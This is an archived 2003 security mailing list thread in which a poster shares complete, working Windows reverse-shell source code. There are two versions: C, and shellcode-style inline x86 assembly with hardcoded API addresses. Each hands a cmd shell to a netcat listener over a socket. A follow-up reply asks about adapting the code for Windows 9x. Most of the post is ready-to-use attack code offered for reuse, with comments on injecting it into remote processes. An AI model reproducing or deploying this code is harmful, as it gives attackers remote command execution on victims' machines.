RE: Windows reverse Shell #2

["s7726" <s7726 () yahoo com>]

Could this work on a win9x machine? with some mods of course. namely command
rather than cmd, or is this strictly an NT/2k thing?

Thanx,
Gavin S.

-----Original Message-----
From: NetNinja [mailto:netninja () hotmail kg]
Sent: Friday, February 07, 2003 4:45 AM
To: vuln-dev () securityfocus com
Subject: Windows reverse Shell #2


Hello folks,

Thnx everyone for ur replies.
Today i found time to have a careful look at my reverse shell C source
code. THe problem that i had was very simple. In my C source i forgot to
initilize STARTUPINFO struct to zero. That was the problem. 3APA3A's
code did initilize that struct, so big thnx to him. Another thing
u have to do is to cast socket handle returned from WSASocket call to
ptr type and pass it on to stdInput,stdOutput and stdErr of
STARTUPINFO struct.
That's it!
If anyone is interested in reverse cmd shell for windows i have
included both C and inline asm version. so have a look at them.

---- C ---------------
/*
reverse cmd shell

Will spit back command shell on ur listening netcat
on ur localhost (127.0.0.2) port 55

set up ur netcat eg. nc -l -p 55 -vv


Adik (netninja () hotmail kg)
http://netninja.to.kg

  */
#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib,"ws2_32")

void main(int argc, char *argv[])
{
        WSADATA wsaData;
        SOCKET hSocket;
        STARTUPINFO si;
        PROCESS_INFORMATION pi;
        struct sockaddr_in adik_sin;
        memset(&adik_sin,0,sizeof(adik_sin));
        memset(&si,0,sizeof(si));
        WSAStartup(MAKEWORD(2,0),&wsaData);
        hSocket = WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);
        adik_sin.sin_family = AF_INET;
        adik_sin.sin_port = htons(55);
        adik_sin.sin_addr.s_addr = inet_addr("127.0.0.1");
        connect(hSocket,(struct sockaddr*)&adik_sin,sizeof(adik_sin));
        si.cb = sizeof(si);
        si.dwFlags = STARTF_USESTDHANDLES;
        si.hStdInput = si.hStdOutput = si.hStdError = (void *)hSocket;
        CreateProcess(NULL,"cmd",NULL,NULL,true,NULL,NULL,NULL,&si,&pi);
        ExitProcess(0);

}



------[ end C ]--------------

----[ inline ASM ]------
/*
reverse cmd shell
inline asm version

reverse cmd shell on address 127.0.0.1 port 55


Adik (netninja () hotmail kg)
http://netninja.to.kg

  */

#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib,"ws2_32")

#define GP      0x77E7B332
#define LL  0x77E7D961
#define CreateProcessA          [ebp-8]
#define ExitProcess             [ebp-0ch]
#define WSASocketA              [ebp-10h]
#define connect                 [ebp-14h]
#define CMD_STR                 [ebp-18h]
#define PORT                    0x3700          //(htons(55)) here u gotta
reverse byte order 0x0037=3700
#define IPADDR                  0x0100007F      //
7F000001//(inet_addr("127.0.0.1"))

void main(int argc, char *argv[])
{
    char ptr[] = "kernel32\0CreateProcessA\0ExitProcess\0\0"
                 "ws2_32\0WSASocketA\0connect\0\0\0cmd\0\0\0";
        char *i=ptr;

        WSADATA wsaData;
        WSAStartup(MAKEWORD(2,0),&wsaData);             //initialize
winsock, this is not done below

// usually when u inject ur shellcode into remote process

// socket is already initialized
        __asm
        {

                mov edi, i
                dec edi

                push ebp
                mov ebp,esp
                sub esp,0x20

                mov ecx,ebp
                sub ecx,4h
                push ecx

load_lib:
                inc edi
                cmp byte ptr[edi],0
                je done_loadin

                push edi
                mov eax, LL
                call eax                        //LoadLibrary("Lib")

                mov [ebp-4],eax         //places lib handle into ebp-4
                xor eax,eax
                repne scasb

load_func:

                cmp byte ptr[edi],0
                je load_lib

                push edi

                mov ebx, dword ptr[ebp-4] //lib handle
                push ebx
                mov eax, GP
                call eax
//GetProcAddress("Function")

                pop ecx
                sub ecx,4
                mov dword ptr[ecx], eax
                push ecx
                xor eax,eax
                repne scasb

                jmp load_func

done_loadin:

                xor eax,eax
                inc edi
                mov dword ptr[ebp-18h],edi
                mov ecx,50                                      //make some
space for structs
push_em:
                push eax
                loop push_em

                push 0x1
                push 0x2
                call WSASocketA

                mov ebx, eax            //copies sockethandle returned into
ebx

                  //ebp-20h
                mov dword ptr[ebp-40h],0x2
//sockaddr_in
                mov word ptr[ebp-3Eh],PORT
                mov dword ptr[ebp-3Ch],IPADDR

                //mov dword ptr[ebp-40h],process_information

                mov dword ptr[ebp-94h],0x44             //sizeof startupinfo
                mov dword ptr[ebp-68h],0x100    //dwFlags
                mov dword ptr[ebp-5Ch],ebx              //stdio
                mov dword ptr[ebp-58h],ebx              //stdout
                mov dword ptr[ebp-54h],ebx              //stderr

                push 0x10
//sizeof sockaddr_in
                lea edx, dword ptr[ebp-40h]
                push edx
//ptr to sockaddr_in
                push ebx
//socket handle
                call connect

                lea edx,dword ptr[ebp-50h]
                push edx                                        //push
proc_info
                lea edx,dword ptr[ebp-94h]
                push edx                                        //push ptr
to startupinfo
                xor edx,edx
                push edx
                push edx
                push edx
                inc edx
//inheritHandles = true
                push edx
                dec edx
                push edx
                push edx
                mov eax,CMD_STR                         //ptr to "cmd" str
                push eax
                push edx
                call CreateProcessA

                push edx
                call ExitProcess

        }

  }

----[     end    ]------


--
Best regards,
 Adik        (NetNinja)                          mailto:netninja () hotmail kg